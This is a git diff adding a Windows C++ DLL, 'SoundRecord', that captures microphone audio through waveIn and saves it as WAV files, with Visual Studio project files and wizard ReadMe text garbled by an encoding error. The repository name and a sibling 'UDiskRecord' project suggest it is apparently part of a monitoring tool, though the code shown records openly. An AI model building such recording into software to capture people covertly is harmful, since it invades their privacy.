+ ::RtlCopyMemory((LPVOID)((DWORD)m_lpRecordData + m_dwRecordSize), (LPVOID)((LPWAVEHDR)(dwParam1))->lpData, ((LPWAVEHDR)(dwParam1))->dwBytesRecorded);
+ m_dwRecordSize = m_dwRecordSize + BUFFERLENGTH;
+
+
+ // 缓冲区((LPWAVEHDR)(dwParam1)->dwUser)存满
+ // ::MessageBox(NULL, "缓冲区((LPWAVEHDR)(dwParam1)->dwUser)存满", NULL, MB_OK);
+ if (!m_bStop)
+ {
+ ::waveInAddBuffer(hWaveIn, (LPWAVEHDR)dwParam1, sizeof(WAVEHDR));
+ }
+ break;
+ }
+ case WIM_CLOSE:
+ {
+ // 设备已经关闭
+ ::MessageBox(NULL, "设备已经关闭", NULL, MB_OK);
+ break;
+ }
+ default:
+ break;
+ }
+}
+
+
+void CMySoundRecord::InitData()
+{
+ m_bStop = FALSE;
+ m_hWaveIn = NULL;
+ m_stDevInfo.iLen = 0;
+ for (int i = 0; i < MAXDEVNUM; i++)
+ {
+ m_stDevInfo.stWaveInCaps[i] = { 0 };
+ }
+ m_lpRecordData = new char[100 * 1024 * 1024];
+ m_dwRecordSize = 0;
+}
+
+
+void CMySoundRecord::StartWaveRecord(WORD wChannels, DWORD dwSampleRate, WORD wBitsPerSample) // 采样参数:单声道 8kHz 8bit --> 1, 8000, 8
+{
+ // 初始化数据
+ InitData();
+ // 初始化音频格式
+ HWAVEIN hWaveIn = NULL;
+ WAVEFORMATEX stWaveFormatEx = { 0 };
+ stWaveFormatEx.wFormatTag = WAVE_FORMAT_PCM; //波形声音的格式,单声道双声道使用WAVE_FORMAT_PCM.当包含在WAVEFORMATEXTENSIBLE结构中时,使用WAVE_FORMAT_EXTENSIBLE.
+ stWaveFormatEx.nChannels = wChannels; //声道数量
+ stWaveFormatEx.nSamplesPerSec = dwSampleRate; //采样位数.wFormatTag为WAVE_FORMAT_PCM时,为8或者16
+ stWaveFormatEx.nAvgBytesPerSec = dwSampleRate * wChannels * (wBitsPerSample / 8); // 每秒的采样字节数.通过nSamplesPerSec * nChannels * wBitsPerSample / 8计算
+ stWaveFormatEx.nBlockAlign = wChannels * (wBitsPerSample / 8); // 每次采样的字节数.通过nChannels * wBitsPerSample / 8计算
+ stWaveFormatEx.wBitsPerSample = wBitsPerSample; // 采样位数.wFormatTag为WAVE_FORMAT_PCM时,为8或者16
+ stWaveFormatEx.cbSize = 0; // wFormatTag为WAVE_FORMAT_PCM时,忽略此参数
+ // 打开音频输入设备
+ MMRESULT mmRet = ::waveInOpen(&hWaveIn, WAVE_MAPPER, &stWaveFormatEx, (DWORD)WaveCallback, NULL, CALLBACK_FUNCTION);
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ::MessageBox(NULL, "waveInOpen Error!", "ERROR", MB_OK);
+ return;
+ }
+ // 配置多层缓冲区
+ for (int i = 0; i < BUFFER_LAYOUT_NUM; i++)
+ {
+ ::RtlZeroMemory(&m_stWaveHdr[i], sizeof(WAVEHDR));
+ char *lpBuf = new char[BUFFERLENGTH];
+ m_stWaveHdr[i].lpData = lpBuf; // 指向波形格式的缓冲区
+ m_stWaveHdr[i].dwBufferLength = BUFFERLENGTH; // 缓冲区的大小
+ m_stWaveHdr[i].dwUser = i; // 用户数据
+ m_stWaveHdr[i].dwFlags = 0; // 为缓冲区提供的信息, 在waveInPrepareHeader函数中使用WHDR_PREPARED
+ mmRet = ::waveInPrepareHeader(hWaveIn, &m_stWaveHdr[i], sizeof(WAVEHDR));
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ::MessageBox(NULL, "waveInPrepareHeader Buufer1 Error!", "ERROR", MB_OK);
+ return;
+ }
+ // 将缓冲区加入音频输入设备
+ mmRet = ::waveInAddBuffer(hWaveIn, &m_stWaveHdr[i], sizeof(WAVEHDR));
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ::MessageBox(NULL, "waveInAddBuffer Buufer1 Error!", "ERROR", MB_OK);
+ return;
+ }
+ }
+
+ m_hWaveIn = hWaveIn;
+
+ // 开始录音
+ mmRet = ::waveInStart(hWaveIn);
+ if (MMSYSERR_NOERROR != mmRet)
+ {
+ ::MessageBox(NULL, "waveInStart Error!", "ERROR", MB_OK);
+ return;
+ }
+}
+
+
+void CMySoundRecord::StopWaveRecord(char *lpszFileName)
+{
+ m_bStop = TRUE;
+ // 设备停止
+ ::waveInStop(m_hWaveIn);
+ // ::waveInReset(m_hWaveIn);
+ // 释放缓冲区
+ for (int i = 0; i < BUFFER_LAYOUT_NUM; i++)
+ {
+ ::waveInUnprepareHeader(m_hWaveIn, &m_stWaveHdr[i], sizeof(WAVEHDR));
+ delete m_stWaveHdr[i].lpData;
+ m_stWaveHdr[i].lpData = NULL;
+ }
+ // 关闭设备
+ ::waveInClose(m_hWaveIn);
+ // 存储音频数据
+ SaveWave(lpszFileName);
+ // 释放内存
+ delete[] m_lpRecordData;
+ m_lpRecordData = NULL;
+}
+
+
+void CMySoundRecord::SaveWave(char *lpszFileName)
+{
+ if (NULL == lpszFileName)
+ {
+ return;
+ }
+ // 默认wav音频头部数据
+ WAVEPCMHDR stWavHeader =
+ {
+ { 'R', 'I', 'F', 'F' },
+ 0,
+ { 'W', 'A', 'V', 'E' },
+ { 'f', 'm', 't', ' ' },
+ sizeof(PCMWAVEFORMAT),
+ WAVE_FORMAT_PCM,
+ 1,
+ SAMPLE_RATE,
+ SAMPLE_RATE*(SAMPLE_BITS / 8),
+ SAMPLE_BITS / 8,
+ SAMPLE_BITS,
+ { 'd', 'a', 't', 'a' },
+ 0
+ };
+ stWavHeader.data_size = m_dwRecordSize;
+ stWavHeader.size_8 = m_dwRecordSize + 32;
+ // 保存为.WAV格式的音频文件
+ FILE *fp = NULL;
+ fopen_s(&fp, lpszFileName, "w+");
+ if (NULL == fp)
+ {
+ ::MessageBox(NULL, "fopen Error!", "ERROR", MB_OK | MB_ICONERROR);
+ return;
+ }
+ // 写入wav音频头部数据
+ fwrite(&stWavHeader, sizeof(WAVEPCMHDR), 1, fp);
+ // 写入音频数据
+ fwrite(m_lpRecordData, m_dwRecordSize, 1, fp);
+ // 关闭文件
+ fclose(fp);
+}
+
+
+
diff --git a/ProtectionOfDemon/SoundRecord/MySoundRecord.h b/ProtectionOfDemon/SoundRecord/MySoundRecord.h
new file mode 100644
index 0000000..db8c799
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/MySoundRecord.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include
+#include
+#pragma comment(lib, "winmm.lib")
+
+/*
+typedef struct
+{
+WORD wFormatTag; // 波形声音的格式,单声道双声道使用WAVE_FORMAT_PCM.当包含在WAVEFORMATEXTENSIBLE结构中时,使用WAVE_FORMAT_EXTENSIBLE.
+WORD nChannels; // 声道数量
+DWORD nSamplesPerSec; // 采样率.wFormatTag为WAVE_FORMAT_PCM时,有8.0kHz,11.025kHz,22.05kHz,和44.1kHz.
+DWORD nAvgBytesPerSec; // 每秒的采样字节数.通过nSamplesPerSec * nChannels * wBitsPerSample / 8计算
+WORD nBlockAlign; // 每次采样的字节数.通过nChannels * wBitsPerSample / 8计算
+WORD wBitsPerSample; // 采样位数.wFormatTag为WAVE_FORMAT_PCM时,为8或者16
+WORD cbSize; // wFormatTag为WAVE_FORMAT_PCM时,忽略此参数
+} WAVEFORMATEX;
+
+
+typedef struct wavehdr_tag
+{
+LPSTR lpData; // 指向波形格式的缓冲区
+DWORD dwBufferLength; // 缓冲区的大小
+DWORD dwBytesRecorded; // 当前存储了多少数据
+DWORD_PTR dwUser; // 用户数据
+DWORD dwFlags; // 为缓冲区提供的信息,在waveInPrepareHeader函数中使用WHDR_PREPARED
+DWORD dwLoops; // 输出时使用,标识播放次数
+struct wavehdr_tag * lpNext;// reserved
+DWORD_PTR reserved; // reserved
+} WAVEHDR, *LPWAVEHDR;
+*/
+
+
+
+
+#define MAXDEVNUM 100
+#define BUFFERLENGTH 10240
+#define BUFFER_LAYOUT_NUM 5
+// PCM录音参数
+#define CHANNEL_NUM 1 // 声道数:1
+#define SAMPLE_RATE 8000 // 每秒采样率:8000,16000
+#define SAMPLE_BITS 8 // 采样位深:8,16
+// #define CHUNCK_SIZE (SAMPLE_RATE*SAMPLE_BITS/8*1) // 缓存数据块大小 = 采样率*位深/2*秒(字节)
+
+
+typedef struct _DEVINFO
+{
+ int iLen;
+ WAVEINCAPS stWaveInCaps[MAXDEVNUM];
+}DEVINFO;
+
+
+/* wav音频头部格式 */
+typedef struct WAVEPCMHDR
+{
+ char riff[4]; // = "RIFF"
+ UINT32 size_8; // = FileSize - 8
+ char wave[4]; // = "WAVE"
+ char fmt[4]; // = "fmt "
+ UINT32 fmt_size; // = PCMWAVEFORMAT的大小 :
+ //PCMWAVEFORMAT
+ UINT16 format_tag; // = PCM : 1
+ UINT16 channels; // = 通道数 : 1
+ UINT32 samples_per_sec; // = 采样率 : 8000 | 6000 | 11025 | 16000
+ UINT32 avg_bytes_per_sec; // = 每秒平均字节数 : samples_per_sec * bits_per_sample / 8
+ UINT16 block_align; // = 每采样点字节数 : wBitsPerSample / 8
+ UINT16 bits_per_sample; // = 量化精度: 8 | 16
+ char data[4]; // = "data";
+ //DATA
+ UINT32 data_size; // = 裸数据长度
+} WAVEPCMHDR;
+/*
+// 默认wav音频头部数据
+WAVEPCMHDR WavHeader =
+{
+{ 'R', 'I', 'F', 'F' },
+0,
+{ 'W', 'A', 'V', 'E' },
+{ 'f', 'm', 't', ' ' },
+sizeof(PCMWAVEFORMAT),
+WAVE_FORMAT_PCM,
+1,
+SAMPLE_RATE,
+SAMPLE_RATE*(SAMPLE_BITS / 8),
+SAMPLE_BITS / 8,
+SAMPLE_BITS,
+{ 'd', 'a', 't', 'a' },
+0
+};
+*/
+
+class CMySoundRecord
+{
+private:
+ DEVINFO m_stDevInfo; // 设备信息
+ WAVEHDR m_stWaveHdr[BUFFER_LAYOUT_NUM];
+ HWAVEIN m_hWaveIn;
+
+public:
+ void WaveGetDevInfo(); // 获取设备信息
+ void InitData();
+ void StartWaveRecord(WORD wChannels, DWORD dwSampleRate, WORD wBitsPerSample); // 录制声音
+ void StopWaveRecord(char *lpszFileName); // 停止录制
+ void SaveWave(char *lpszFileName); // 保存音频
+public:
+ CMySoundRecord();
+ ~CMySoundRecord();
+};
+
diff --git a/ProtectionOfDemon/SoundRecord/ReadMe.txt b/ProtectionOfDemon/SoundRecord/ReadMe.txt
new file mode 100644
index 0000000..1c96613
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歋oundRecord 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 SoundRecord DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 SoundRecord 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+SoundRecord.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+SoundRecord.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+SoundRecord.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 SoundRecord.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/SoundRecord/SoundRecord.cpp b/ProtectionOfDemon/SoundRecord/SoundRecord.cpp
new file mode 100644
index 0000000..54aa825
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/SoundRecord.cpp
@@ -0,0 +1,217 @@
+// SoundRecord.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+
+#include
+#pragma comment(lib, "Comdlg32.lib")
+#include
+#pragma comment(lib, "Vfw32.lib")
+#pragma comment(lib, "user32.lib")
+#include "MySoundRecord.h"
+
+
+// 全局变量
+// HWND g_hWAVWnd; // 音频句柄
+BOOL g_bRecording = FALSE; // 是否在录音
+DWORD g_dwRecordTime; // 录音时间
+extern HMODULE g_hModule;
+UINT_PTR g_upTimerID = 0;
+CMySoundRecord g_Wave;
+char g_szFileName[MAX_PATH] = {0}; // 存储路径
+
+
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = {0};
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "SoundRecord", MB_OK | MB_ICONERROR);
+}
+
+
+VOID CALLBACK SoundRecordTimerProc(HWND hwnd, // handle to window
+ UINT uMsg, // WM_TIMER message
+ UINT_PTR idEvent, // timer identifier
+ DWORD dwTime) // current system time
+{
+ if (g_bRecording)
+ {
+ g_dwRecordTime++;
+ }
+}
+
+
+BOOL StartSoundRecord(HWND hWnd)
+{
+ ::KillTimer(NULL, g_upTimerID);
+ g_bRecording = TRUE;
+ g_dwRecordTime = 0;
+ g_upTimerID = ::SetTimer(NULL, 1, 1000, SoundRecordTimerProc);
+
+ g_Wave.StartWaveRecord(1, 8000, 8); // 采样参数:单声道 8kHz 8bit --> 1, 8000, 8
+ return TRUE;
+/*
+ ::KillTimer(NULL, g_upTimerID);
+ // 先关闭以前的声音
+ MCIWndClose(g_hWAVWnd);
+ // 创建句柄,最后一个参数如果是NULL,就新建一个;如果是一个文件的路径就打开它
+ g_hWAVWnd = MCIWndCreate(hWnd, g_hModule, WS_CAPTION, NULL);
+ // 创建设备
+ MCIWndNew(g_hWAVWnd, "waveaudio");
+ // 判断是否能录音
+ if (MCIWndCanRecord(g_hWAVWnd))
+ {
+ g_bRecording = TRUE;
+ g_dwRecordTime = 0;
+ g_upTimerID = ::SetTimer(NULL, 1, 1000, SoundRecordTimerProc);
+ // 录音
+ MCIWndRecord(g_hWAVWnd);
+ return TRUE;
+ }
+ {
+ ShowError("MCIWndCanRecord");
+ return FALSE;
+ }
+*/
+}
+
+
+void ExitSoundRecord()
+{
+ // 如果正在录音,则先停止录音
+ if (g_bRecording)
+ {
+ g_Wave.StopWaveRecord(NULL);
+ }
+/*
+ g_bRecording = FALSE;
+ ::KillTimer(NULL, g_upTimerID);
+ // 关闭以前的声音
+ MCIWndClose(g_hWAVWnd);
+ // 关闭声音句柄
+ ::SendMessage(g_hWAVWnd, WM_CLOSE, NULL, NULL);
+*/
+}
+
+
+BOOL StopSoundRecord(char *lpszFileName)
+{
+ ::lstrcpy(g_szFileName, lpszFileName);
+ g_Wave.StopWaveRecord(lpszFileName);
+/*
+ char szFileName[MAX_PATH] = { 0 };
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(OPENFILENAME));
+ stOF.lStructSize = sizeof(OPENFILENAME);
+ stOF.lpstrFilter = "wav files(*.wav)\0*.wav\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szFileName;
+ stOF.lpstrDefExt = "wav";
+ stOF.nMaxFile = MAX_PATH;
+ ::GetSaveFileName(&stOF);
+ if (0 < ::lstrlen(szFileName))
+ {
+ g_Wave.StopWaveRecord(szFileName);
+ }
+*/
+ return TRUE;
+/*
+ ::KillTimer(NULL, g_upTimerID);
+ LONG lRet = MCIWndStop(g_hWAVWnd);
+ if (0 == lRet)
+ {
+ g_bRecording = FALSE;
+ return TRUE;
+ }
+ else
+ {
+ ShowError("MCIWndStop");
+ return FALSE;
+ }
+*/
+}
+
+
+BOOL PlaySoundRecord(BOOL bPlay)
+{
+ if (bPlay) // 播放
+ {
+ mciSendString("close start", NULL, 0, NULL);
+ char szTemp[MAX_PATH] = {0};
+ ::wsprintf(szTemp, "open %s alias start", g_szFileName);
+ mciSendString(szTemp, NULL, 0, NULL);
+ mciSendString("play start", NULL, 0, NULL);
+ }
+ else // 停止
+ {
+ mciSendString("close start", NULL, 0, NULL);
+ }
+/*
+ // 判断是否能播放
+ if (MCIWndCanPlay(g_hWAVWnd))
+ {
+ // 播放
+ MCIWndPlay(g_hWAVWnd);
+ return TRUE;
+ }
+ else
+ {
+ ShowError("MCIWndPlay");
+ return FALSE;
+ }
+*/
+ return TRUE;
+}
+
+
+// 弹保存对话框
+BOOL SaveSoundRecordByDlg()
+{
+/*
+ // 判断是否能保存
+ if (MCIWndCanSave(g_hWAVWnd))
+ {
+ // 保存
+ MCIWndSave(g_hWAVWnd, -1);
+ return TRUE;
+ }
+ else
+ {
+ ShowError("MCIWndCanSave");
+ return FALSE;
+ }
+*/
+ return TRUE;
+}
+
+
+// 保存到指定路径
+BOOL SaveSoundRecordByPath(char *lpszFileName)
+{
+/*
+ // 判断是否能保存
+ if (MCIWndCanSave(g_hWAVWnd))
+ {
+ // 保存
+ MCIWndSave(g_hWAVWnd, "a");
+ ::SetFileAttributes("a", FILE_ATTRIBUTE_HIDDEN);
+ ::CopyFile("a", lpszFileName, FALSE);
+ ::SetFileAttributes(lpszFileName, FILE_ATTRIBUTE_NORMAL);
+ // 关闭以前的声音
+ ExitSoundRecord();
+ ::DeleteFile("a");
+ return TRUE;
+ }
+ else
+ {
+ ShowError("MCIWndCanSave");
+ return FALSE;
+ }
+*/
+ return TRUE;
+}
+
+
+DWORD GetSoundRecordTime()
+{
+ return g_dwRecordTime;
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/SoundRecord/SoundRecord.def b/ProtectionOfDemon/SoundRecord/SoundRecord.def
new file mode 100644
index 0000000..a7ad235
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/SoundRecord.def
@@ -0,0 +1,11 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ StartSoundRecord
+ StopSoundRecord
+ PlaySoundRecord
+ SaveSoundRecordByDlg
+ SaveSoundRecordByPath
+ GetSoundRecordTime
+ ExitSoundRecord
\ No newline at end of file
diff --git a/ProtectionOfDemon/SoundRecord/SoundRecord.sln b/ProtectionOfDemon/SoundRecord/SoundRecord.sln
new file mode 100644
index 0000000..e7c2fd2
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/SoundRecord.sln
@@ -0,0 +1,22 @@
+锘
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.40629.0
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SoundRecord", "SoundRecord.vcxproj", "{620258D9-7C25-4857-93A3-2102098D56D6}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Win32 = Debug|Win32
+ Release|Win32 = Release|Win32
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|Win32.ActiveCfg = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Debug|Win32.Build.0 = Debug|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|Win32.ActiveCfg = Release|Win32
+ {620258D9-7C25-4857-93A3-2102098D56D6}.Release|Win32.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/ProtectionOfDemon/SoundRecord/SoundRecord.v12.suo b/ProtectionOfDemon/SoundRecord/SoundRecord.v12.suo
new file mode 100644
index 0000000..06cf264
Binary files /dev/null and b/ProtectionOfDemon/SoundRecord/SoundRecord.v12.suo differ
diff --git a/ProtectionOfDemon/SoundRecord/SoundRecord.vcxproj b/ProtectionOfDemon/SoundRecord/SoundRecord.vcxproj
new file mode 100644
index 0000000..1843a53
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/SoundRecord.vcxproj
@@ -0,0 +1,112 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {620258D9-7C25-4857-93A3-2102098D56D6}
+ Win32Proj
+ SoundRecord
+
+
+
+ DynamicLibrary
+ true
+ v120_xp
+ MultiByte
+ Static
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+ Dynamic
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;SOUNDRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ SoundRecord.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;SOUNDRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ SoundRecord.def
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/SoundRecord/SoundRecord.vcxproj.filters b/ProtectionOfDemon/SoundRecord/SoundRecord.vcxproj.filters
new file mode 100644
index 0000000..32f3b66
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/SoundRecord.vcxproj.filters
@@ -0,0 +1,50 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/SoundRecord/dllmain.cpp b/ProtectionOfDemon/SoundRecord/dllmain.cpp
new file mode 100644
index 0000000..859eb0e
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/dllmain.cpp
@@ -0,0 +1,26 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+
+HMODULE g_hModule = NULL;
+
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+
+ g_hModule = hModule;
+
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/SoundRecord/stdafx.cpp b/ProtectionOfDemon/SoundRecord/stdafx.cpp
new file mode 100644
index 0000000..d3d2a7c
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// SoundRecord.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/SoundRecord/stdafx.h b/ProtectionOfDemon/SoundRecord/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/SoundRecord/targetver.h b/ProtectionOfDemon/SoundRecord/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/UDiskRecord/ReadMe.txt b/ProtectionOfDemon/UDiskRecord/ReadMe.txt
new file mode 100644
index 0000000..ac45bf6
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歎DiskRecord 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 UDiskRecord DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 UDiskRecord 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+UDiskRecord.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+UDiskRecord.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+UDiskRecord.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
